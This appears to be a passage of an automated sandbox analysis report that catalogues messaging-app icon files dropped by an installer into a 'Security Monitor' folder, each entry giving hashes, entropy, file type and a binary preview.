Preview:	............ .h.......(....... ..... ..........................................................................................................................t4..z9..z9..z9..t5.....................!.9.&.=.!.9.!.9..v4..q3..z9..H..E...D..z9..q3..q3........OG.X.=.O.-.C.`.v.`.v..x8..W..z9...M.f...5...+...%...+.../...?...I.[.\.s.8.O.[.o.[.o...D.....G...J...X...a...X...O...K...V...U...=...`.t.?.d.S...J...S...a...o...a...J...E.....y..d...B.....J...O...Q...Z...f...s...i...W...N........j............K...../...J...X...[...X...L...b....z.................z..Pi........R.eHc.w.m..s...........V....................U..U.............R.eoQ.d.O.b.M.`.L.^.g.Zl.W..W..W..W..W..W.....................:.JW9.J.9.I.9.I`.....q3$.z<.r3..{=.t5$........................:.K.......9.I......{=..\|......X..\|>.........................;.K......:.J......s4.........\|..v6.........................;.LE;.L.:.K.:.KN......@........t...A..............................................~?!..E..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\windows live messenger.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	763
Entropy (8bit):	7.6950381846314215
Encrypted:	false
SSDEEP:	12:6v/71dxGeeaA/as1IpxNhX3HqPPwVS2TgW41SeJq5RXB4f4a:oqeeaAT1IpxNhKXNW5VBO4a
MD5:	F38AF891CBBDCD155644E65363A01520
SHA1:	BA161945A3E87EA2B3735165854E8AEF28B4F201
SHA-256:	DEF30878F80E5B00CE9F334170DD6369127C52E03959F5673B7193D8B21EE80D
SHA-512:	AFB7BD4EECEF8B2E9E082E3A7203DC393E92683B4AD2B301072A4BC8C22D710AF740BC553EE92997C714FD80F993A3BE0257EC09FF46C75AEEC3EB615553613C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..iHTQ...o..of..mT,M.@..Q).R"A.......Yb~0+..,../.}.>....X...J..DV..6.3..t.w{c$A.A....=.w.{....j'.....4-.K$T...W.w$...3m.H........ZT._.t6$..4.....\Z.....#.Z.....V.Og.....Z.oxm._..F..:.;,..0..1.Y.i..^....;qs..}..F..m.6].....JH..W.1.......D.....Rn..!O..T,%..z.........{(........,._.....&....#...........9">..#N..?....l.D.dO..&.....4....0..V}$b"u...ly..0....].F....S........b.....U......P.....@&.B....0.A.\~}A....I!..Eg..0.Z...M^........O.2.Z_.4.Jpv..6C...D.td.....94Db..E..7..,.J...J-..2..,..8T....p.#C.k..SU.y..g[..~a^.q.=.C6k....w.IT+4../...eY..p.P..En.....rY... "j.... .^..l......:.p}PS6P........o...fdD..8.S.&..(Z...A...uqD...f.Y.i2.{?s...}.fMNK..u.].z3.....'....K.R....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\yahoo! messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.275771912287761
Encrypted:	false
SSDEEP:	24:INtkHVr7SidRa/Obkfbw8H1y3LIseAevOGZ0bTsB:LVPS0a2AfjeIEeBZ0bTsB
MD5:	6A4FEA20675B423DC5B6AFC565BA2D57
SHA1:	D241A8C16A86789F1B28EAA58B164AE6C9457FC1
SHA-256:	73EC225A303B4A44537CBBCFEB5FC07BB8EEB9FDFE0FACA788309CC7C75F3F74
SHA-512:	2948886496B704F85A71549341A1D8E5DE36375CCC6FF79B0F95BB6FC755147DE35C6F556E02CFF916B5967F95891E1586F065DC329A68E057093032B485A4A0
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..........................................K.}.s......(...)........w...H.....!... .................W.#.n..&...<...M...i...k...[...C...+....q...K./.............W.#.u.....A...>...'......5~..&...;...G...2....x...V.,.........l.."...>...'...!T..-(..BA..MN..>=..)4..%...D...+....r.......[.j..../...5....J.."...("..63..=;..40..' ..!)../...8........p..p..$...8...+~....f.....$...)"..,&..(!..$........K..:.......v...}......>... F....4...d.......................\..+`.9...3........~..3...C...Ni......................................7...8........~..2...E...?d..z...............................f...9...9........}..0...L...Y...]...]...`...c...c...`...\...]...Y...N...8........r..1...U...\..._...v....xs.....}..........._...^...W...8....y...b.u....R...W...f........LA..........LA.....g...Z...V... ....w......r.....^...m...........................p...a.../....z..'........W.#.w..-...x...........................\|...1....z.....M.............W.#.s..&...k...................o.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\yahoo! messenger.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	921
Entropy (8bit):	7.692568178991757
Encrypted:	false
SSDEEP:	12:6v/7MIPvdQrswMHeAQQI/hnoG82ukRW61fAKmg0sLyVFIMVwIaJ2OnksgHDPkInc:MersR+SIZbnu+FXaYyVBtM2Oksgjlzv4
MD5:	A319CAB2BDD2363F2CE6F71874255367
SHA1:	606F86B9B032C74B9A88240A9A4933B4EA256C52
SHA-256:	0644CF298FE403904496AF78ADDCCDB46C1D3A324BC996A1423F9CC581EBFA39
SHA-512:	D74BB956EF9011436A44617B8DB7519F8335A10F55805BEC4CDB673F971E148614B9A4068146D182BB6024B5774C85CB35A4B10BEC5307F2C367179DEB45E07E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...`IDATx.].Mh.e..w.....Mf..k...BK..B+I..A.%...z(V..b.S...E.=..J...DR.R.P#..d..I..Iv...$......uczp..wx....K.o....;...8$.;Ax...).J..X..;.;...Ru/....<.J.b...`X9x.B.m@I..a-~...Q..p..V...[.....}.h_T.z.........m...6.b......-;..................#pD/........n9.g.....s...F9}..?..</......P..+o.Q.I`f/.^Ma./..\#..N.!..(c....R.S....=.....xX....L.S......}...X._~..8u\....&....p.......w.J..g............1..M...d...x6.......~..yr......[q.......^...@9.efr...:.J....8.O!...X...Y.}.........U."..sbYTm....6.O.5.....[.-.YBK_....W./..x....NVJ..g..e.c..a...../$..&.. sC.t./....].w.na.....4^..S.-..f..Mp....../......;.G.~.+...#..,..<....c.i...E,K&..4D{$.fVaL.\n.....l.WO....,.wL..W$...l.. ..!....c...T.?_e.]...Fd.....h.d..&...m.].4t.u#...^0..y.J....e...Rn..... ...1....U......Av\|}s\|...{#....1..T&......V]J.a..<f..\|..~.b...?U/...e.g..<wM.5.}.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Discord.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.636162501782274
Encrypted:	false
SSDEEP:	96:L9Ma1/Da+8+n63MJPD7wVGuTsJsr1sZbol4zQvH:ZN17a+8+jlmsJsxll
MD5:	0673E359F24B2E3E70DEF71FD99DCA08
SHA1:	9CCFDF61774455EFA4F203A295B7CD73970381F1
SHA-256:	9B2E88181222D914DF957836D7DDD48F1400CEF417C2AAF4705F399F07E4F872
SHA-512:	C6178BDBCCCE71F4F92FEF31E8D5FADA4098CD5A2CF9A9593EE5A9E81CC9B878820731EE32874EF912FE816050B7A7F3DC280A2381B2BF41DEC8332BDBC98F9C
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................[I.....F#...L<P................................................................................................^L..........\H..hQ.......t.................................................................................................nF9..........]I..oV..hQ.......w.........................j?6E.YKs.YJu.YJu.XJu.XJu.WIu.XIu.UGu.REu.SEu.REu.SDu.SDu.SDu.RCt.RBy.VF\.........aM..qY..oV..iR.......x......................iX..}h..j...j...j...i..~i..~h..}g..wd..vc..vb..vb..wb..wa..wa..w`..v_..v`......fQ..t[..qY..pX..jT.......z..........}......fV_.m..m..l..l..l..k..k...j..we..vd..vd..wd..wc..wb..wb..wb..wa..xb..\Ms.gS..v^..r[..rZ..qY..kU.......\|.................{h..o..n..n..n..m..m..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Facebook Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.066773618954921
Encrypted:	false
SSDEEP:	48:Ph9MjBRXLI4PPPPPPP5PPPlPPPPPvsuzWNQ:PhIl6u
MD5:	2F777CE0EAAF668E63BACB213F805C72
SHA1:	1200A1ACD3E1E8909738870ECA24FD3DB5E4EF4E
SHA-256:	F29CE4EA22FB3C298B8B98E2600D85F76C00C81502332BDC21B6B6D4BFFFA8D1
SHA-512:	5A9E8A41FC543E5AC83C1020CF503C5239D68A68228E18441FD58C560E3D19661F8B54702483984DF378B500DA09D144CD250ABB2A29742066B46E3FC9BC6F68
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................m.*.k...k...l.a.m...............................................................................................................m.u.m...m...m...m...l...m.u.m...l...m...m...m...m...m...n...m.p.q.".............................................................p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...q.?.....................................................q...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...q...o.'.............................................t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...s.P.....................................u.z.v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v.w.............................y.i.y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...x.f.....................{.6.{...{...{...{...{...{...{...{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Google Talk.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.327550606417895
Encrypted:	false
SSDEEP:	48:7ok26VKvsyK8gww8d6IrU866xoQ6iekgM7F5F616mlunzNa:7hNqsyw8NxogekgS/01l2zQ
MD5:	B1B0BDF79925656C6612EB420EFDD0CB
SHA1:	67A7A212310C229BD3753F937FE769392719BA85
SHA-256:	02FDCF85764302068222786937E5769650543F7B19B06208B65CE325792E7282
SHA-512:	700EDB186443417B8B5C2FFF44AC0CA4F40492F08789A4C44818F8255E4C5082AB7388AFBEE9DBE86C3979D15FF92F6CF33ED787694470AF7B88B86BD180F01D
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ........................................................................................................................................................................................................................................................................................................................................!...!........................................................................................................141.........! !.!$!Z...1...1...)...!............................................................................................RQR9....101.Z]Z.........)()s...J...9...)...!........................................................................................BEBZ............sqs.....! !....Z...J...9...).......................................................................................)141.),).............),)........s...R...B...1...!...........................................................................!...1...J..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Line.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	2.904108079904619
Encrypted:	false
SSDEEP:	48:F+E7L9sciO2jASO/R9Zo6bVUZ0SS/UHL4/h3A4+Brwc2Ni:F+qcjZE7ZL6ZTS/Ur+398rwHw
MD5:	B4C726712268AACA5C8044B19D242C56
SHA1:	82295BE76E35F3B7A017C71DF4AFB7BCB13B8BD9
SHA-256:	67360906D5C412946E6621E6952DCC72E260B4BDA6B1097FB89D0968746B557A
SHA-512:	255E561C23605247FCA1BB3F071CE4E87DA9F580C93F9CB87980F2680C106FEF6B91E478953C667E55AC0B9C4891FB0D6389671AD5C1AEF0DD820ABC032A7F62
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...... .............................(...........................................................................................................*...............M...................................................................................................................U.......$...........................................................................................................................-............................................................................................................................................................................................v.v.1.1........................................................................................................................................................................................................................................................................J.J...........................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Mail Agent.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.015933025401917
Encrypted:	false
SSDEEP:	48:jlLTFwirlRR25mD7NHgf/nrqQ6kcwpgHBWgOXKpAsDn5DnO9eXVP:ZLTFwirlRRymnN0/rqpkcwaDOXZsxqYZ
MD5:	B5DECCE572BF993C4F6CD6BD108DF2C3
SHA1:	21C33E841AF7DE3AF8868EAFF54EDB1492AEBEA4
SHA-256:	42A521BC3EF75526B3A1839DA875A949B369C6A00F2EAA43C8BECBB3E8279555
SHA-512:	EEE0D7F592836DFCEB0D50E2695DF6ACF336211E3C83C9DF8B49325BD03E2B3E5BD39DC8CAE3193A32D953CAA79543F8D356930CC6C6769A861EDA8F31E04D6A
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................F.>.C.;.C.<.C.<.C.;.B.<wC.=.............U.@.B.<UD.<\|C.<.C.<.B.<.D.=.C.<nG.@$....................................................U.U.B.=.B.;.B.;.B.;.B.;.B.;.B.<.B.=hB.<.C.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.<.D.=mf.f.................................................C.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.C.<.C.=P................................................B.;.B.;.B.;.B.;.B.;.B.;.B.;.T.N..........................O.H.B.;.B.;.B.;.B.;.C.;.............................................C.?AB.;.B.;.B.;.B.;.[.U........................................B.;.B.;.B.;.B.;.B.;.C.;.........................................C.;EB.;.B.;.B.;..............................................B.;.B.;.B.;.B.;.B.;.B.;.C.;.................................F.F.C.;.B.;.B.;..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.066773618954921
Encrypted:	false
SSDEEP:	48:Ph9MjBRXLI4PPPPPPP5PPPlPPPPPvsuzWNQ:PhIl6u
MD5:	2F777CE0EAAF668E63BACB213F805C72
SHA1:	1200A1ACD3E1E8909738870ECA24FD3DB5E4EF4E
SHA-256:	F29CE4EA22FB3C298B8B98E2600D85F76C00C81502332BDC21B6B6D4BFFFA8D1
SHA-512:	5A9E8A41FC543E5AC83C1020CF503C5239D68A68228E18441FD58C560E3D19661F8B54702483984DF378B500DA09D144CD250ABB2A29742066B46E3FC9BC6F68
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................m.*.k...k...l.a.m...............................................................................................................m.u.m...m...m...m...l...m.u.m...l...m...m...m...m...m...n...m.p.q.".............................................................p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...q.?.....................................................q...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...q...o.'.............................................t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...s.P.....................................u.z.v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v.w.............................y.i.y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...x.f.....................{.6.{...{...{...{...{...{...{...{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Microsoft Teams.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.386046922758486
Encrypted:	false
SSDEEP:	24:su7IUPPPPRZZZZZ+avnjxUrbbbbbbbbLB2JeFxgeaXQ0:hIUPPPPaavlUrbbbbbbbbLBoOxsXJ
MD5:	5D316BF8CE58BBA7DE8943D5E8A60244
SHA1:	898FCA22C2A5FDC22859FB4994BDC8105D797BC2
SHA-256:	92B5DF95A623E9786D079E86264CDCF882EF6C80FA824564D584B530D50BF483
SHA-512:	F7C9E47127411FAE362A2BEC2A196C4C6116350D3AF7D8E6841D7824D5F0148EA8CAEF04BC5F404BD055229EB209DED86578E3EA594EB1CCCE5219586225C904
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................................................................................................................................................................................{`.{..{..{..{..{..{..{`.........................................................................................{ .{..{..{..{..{..{..{..{..{..{..{ .............................................................................{ .{..{..{..{..{..{..{..{..{..{..{..{..{ .........................................................................{..{..{..{..{..{..{..{..{..{..{..{..{..{......................................................................ib`.ib..ib..ib..ib..ib..ib..ng..{..{..{..{..{..{..{..{`.................................................................^X..^X..^X..^X..^X..^X..^X..^X..xp..{..{..{..{..{..{..{r..YP..YP..YP..YP..YP.............................................l<8.l<

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Mozilla Thunderbird.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.865260776041573
Encrypted:	false
SSDEEP:	96:KSAuCHoaNkcD71rTr/JXTL2oOJu2u/V8o52K:KJuCHHN/rTMoOJun/VJUK
MD5:	340BD449C16ECBF1A7BC30C7B3AED555
SHA1:	D4464A700F4A7C6CDA68BE19AE90B0526D980B33
SHA-256:	01F8E1E82FDA69928E9EDA19DE2D775F4194CB8ADC081753C426456BFE2619F6
SHA-512:	16807B0C2B16547397D717DDA738B69122F2C3DC6CF2DE988F8675D4F2E0B5C9592D350FF6F408F012FCB4B3822FDB5ED6CA887D311DDAED090193AFAF0826B1
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ............................................................................................3...@...-......@...&.......................................................................................................(+...[(..m7..D...G...a1..>......<.......................................................................................'...7...D...E3...L ..V7.f)..X....>".s5.. ..z...................................................................)...0...9...A...I...O...R...S...P..zB...n8&.c(..P...{9!.t1..4...................................................... ...E'......\...D...P...V...Y...Z...[...`...g...i!...E...v:+.T...L...p/".^...8...A..4........................................)..tI..........=...@...P...T...Y...c...j....&&0.<>J.div.....j<5.j(..C...M...Y...E...A...}..=................................=...Q...8......g...Q.......c...V...v((1.?@L.hny...............n\b.a"..O...;...H...t5..c+..L...z..$........................J..\|R...4...0.......).....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Opera Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.760005259103538
Encrypted:	false
SSDEEP:	48:9cPueb/98+LRtKVF/7x5qcUuD4oxp7SJU9Jhni4GZ9h2u0Kuq+j6vQuQ:efO8Yx42Jhni4GUuLuhmY/
MD5:	6EDC10A9110ACA8413A654526A2C9A08
SHA1:	74515C9BAEE2A5CA04CBF57A179F98FFA650B890
SHA-256:	E15B8D976729695D510F6CD60E047006F57D09DCF477A58F7D3CF09ED9A34AAA
SHA-512:	1E02B7F6028872398FA087B6BCA84E7F5B5D85BBB14BE1F05F576AAC4E531127A2B5919095C8479838F98CDCCBBE8274891A355857515F94061FF2B8D4D286B1
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Telegram.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.3625361404350915
Encrypted:	false
SSDEEP:	48:Og3bVNe49Z9LhdznJkyBVLBBHb31UOOrO2SB2NNg1F0U:53FLhBeyBlBB73134NNCWU
MD5:	E1286437AA2367AE05B567CA07F7AE38
SHA1:	A258C5400BBC5E28476805B4EBA278BA6D128432
SHA-256:	A886A335B7FC0A8EB88120FDF43E31AC349553D3DF1D3A911E3D2DF8A530BAAD
SHA-512:	E7477879F63A77A50B11D1CFFEC5ECF911A2906568FDFD1912031FAC0C2180834F5540F6EB190C43C0DA6CA52C51FF0C714C08F32C5ADF52C1FCA15EB2804595
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................................................................X<.!~V.3.W.3Z=.!................................................................................................pM.!.n.{.u..z..~...~...~...~...{..u..o.}sO.%........................................................................\|U.#.t...~...........................................~...t..~W.'.............................................................m.k.~.........................................................~...n.o.....................................................u...........................................................................v..1!...........................................x...........................................~.......................................y.......................................u.u......................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Tencent QQ.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.056283894172477
Encrypted:	false
SSDEEP:	96:DZlab9wlipnz12qCLtZ7JgVksVScm8FPcTi:D3aJkipzZKtpJEkiBFEm
MD5:	F501D67C40B9B639411C99B14F60E14D
SHA1:	6F16B1384505A87848A6FB078FC3B62CC55BBF94
SHA-256:	4EC7F2AB9D5FD7E5F1622F007510B4F4D3C1C779E5CDB4B128E2D53A2E468A28
SHA-512:	775647B02208318CCAB7ED6873D9351ADD106D5EDF27857E73B215B18C04310693D210EB43415690D51191CDEF7F21AECED1B7FCF5A3AFB254698A9CF13AF3CF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ........................................................4...G...K...I...<...&...........................%...:...I...J...E...3...................................................7.'a..M...Z...i...e...N...C...#`....p...\...[...n..S..C...K...a...g...Z...M...,k....3.........................................R...............................e...,m..........+i..b...z...........................U...#Z..................................7.@....8....................Gp.VSY........................\co..Hz.............'...G........;.@.................................;. ....~...p...,....Sr.NAA........................................^US..S......[...A........@.0.....................................s.....8...02<.qdb....................................................../C..........~...........................................K...u.*'/.rdb..............................................................1E..y..P..............................................-.#.C67...........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Viber.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.099397362289201
Encrypted:	false
SSDEEP:	48:SB5/OEO7w9J5CJDojYDgyTAU8Nazp+1RmzzVzab20B+H7YBkLviAhJySdzMVn9f:UGniUvXAdNGtzzu8ALAmS0
MD5:	3236B7EE04864A464C4269EA6772C06B
SHA1:	C32DAC3F987C391FAEEFB48184431669F6C2D961
SHA-256:	641DB9FED269716510F749F98430FBB3563A0DDE013354CA2ECCC572E95EAF84
SHA-512:	F311E36B92F5905B15E9738FE431C287253A2DDD05D5EBA758DCCD7257884D3A7990DCB6A77401C25122EAC419F68F543ACDA12BB3AABA0C790155EE84544702
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ....................................................................`.........................................................................................................................j.........`.....................................................................................................................Uw..k.........`.................................................................................................................Vw..Wx..w.........@...@...@...@...@.............................................................................................Vx..Wx..Xz..............................................@....................................................... .............Wy..Xy..Xz..X{........................................................ .......................................`.................Wy..Xz..X{..Y{..Z\|..d...Z~..[~..z.........................................P...............................`...............b...Wz..X

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\WhatsApp.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	5182
Entropy (8bit):	4.429830209492408
Encrypted:	false
SSDEEP:	48:Rd9W4lzzzzzYXFrNmoN03g+iIsaDBYFGmGW2PD51s2ARAAR/sAye8:dW4gnJLI7DBolGW2r51dARAARRye
MD5:	31B5594B3A3289FB258A4EFBAC38F230
SHA1:	E41016FBE49B5B9B292EFC5C252F73452E55B409
SHA-256:	3B0521E3291E2F330873A66864C3DAC163E8E5DA9D62518C4541B38A979DE7B8
SHA-512:	825F05B05B7A0182B8F87AFCF12BD4FA1B4CF9712D39FCF13058BE32C11091145432273B443F955BEAABB995573252BD7006103E03645107FF434C8EFCC90EA6
Malicious:	false
Reputation:	unknown
Preview:	...... .... .(.......(... ...@..... ....................................................................................................................................................................?...................................................*......................................................................................v.../...................o.................................o.................................................................................................................................................................................................................................j.q.W.n.T.{.d..........................l.......................................=..........i.z.c...............^.>.A...A...A...A...A...A...A...A...T.4..................................................................B...B...B...K.&.B...B...B...B...B...B...B...B...B...B...B...B...`.A...........................................................B...B...B...B...B.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Windows Live Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.992992998632407
Encrypted:	false
SSDEEP:	48:LxwRTmmd4FjFuwKqDBF2fA+O4dwvcYhEEXB7/T/B/cfGt:LxtmiFjKuP+O4dw0Wx7/7qOt
MD5:	BCF4E26316979B5DA494DBEA2C92B1CB
SHA1:	080339DB0B56E86428295596CED9EEBF416D050C
SHA-256:	A34A7DB975EB4367B54DC7BB5BC49A6B12F12501C3BEE21D9C9093717C193999
SHA-512:	D52B6394C34929C4758F7F5C3D805EDE1BED09C47F80B23E4EDA8A8A81D12763014B999F95E9FBDAE41A1C26548718B86C90C02BB0C8714B21078330B12D2B8F
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ......................................................................................................................................................................................................................................................................................................................................................h?!.h?..i@.jA.jA..jA..jA..jA..jA.jA.i@..h?.................................................................................h?...K...S...X..]...Z...S...M...K..\|E..uB..i@.................................................:.Jc:.J.:.J.:.J.:.J.:.J.:.J.:.J..i@..[..o..............z..j...M..oE..d>.............................................:.J.N.b.c.y.j.}.c.u.X.i.N.a.E.W.A.R..lC..g......................{...g.yoR..wU.wjK.ziG.,ju.,kv.fq.0t.................._...A.Q............y..i.y.c.t.n.a..uH..wM..u...............................j...........k.}.2..F...9 ...6...;...<..@@..IC.qK=.P.G.X..........{.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Yahoo! Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.505932325468453
Encrypted:	false
SSDEEP:	48:6x5Iin1G7yKJ1Gs3UNIAB09uq8eq+xn704qtiCA2Kn5t7eUO:6fIinYy7sCIASsq8jKqBA2K5Ber
MD5:	A9756849B11E570FCB8F845201B4A435
SHA1:	6A6085576DD2B871485296BF2EAA1A4E02EF9C81
SHA-256:	4CDD2B35CB1CA9E330D06E184FDA8FA664DD59C7428F67DE9986E77087DEFB5B
SHA-512:	47D16D4EA54B20F7124BDD64B2377D1D00AEECC228EDBCD77A754EDA9D9F977180A2E6E906A0527C9D05EE2C9BEFD52045E7D42B93E69C6E94F9FA73195BDE22
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................._..._.P.a..a.._.P._..................................................................................................._...r.)...?...N...R...G...0....w.._......................................................................................._...\|..2...E...:...,...-...>...O...@..."...._...................................................................................m.*...<...'...+H..@>..MO..:G..'t..G...:....y.............................................................................._.@ ...6...-...$)..'"..41..<9..0,..&"..'g..?...(...._.@.........................................................B...F

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Zoom.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.128222585880228
Encrypted:	false
SSDEEP:	48:0UTeD1j0JtPPPPPPPPPPPPPPPPPPPPPPPPPPP0BU2LxHfNeQktOOh/L+1Ya2Xm5w:0UTeDrHkQeOOh/Lgf2Xm5PciHahGcymV
MD5:	FE64E1FF82E7BB3030287E3EC9A1CA1F
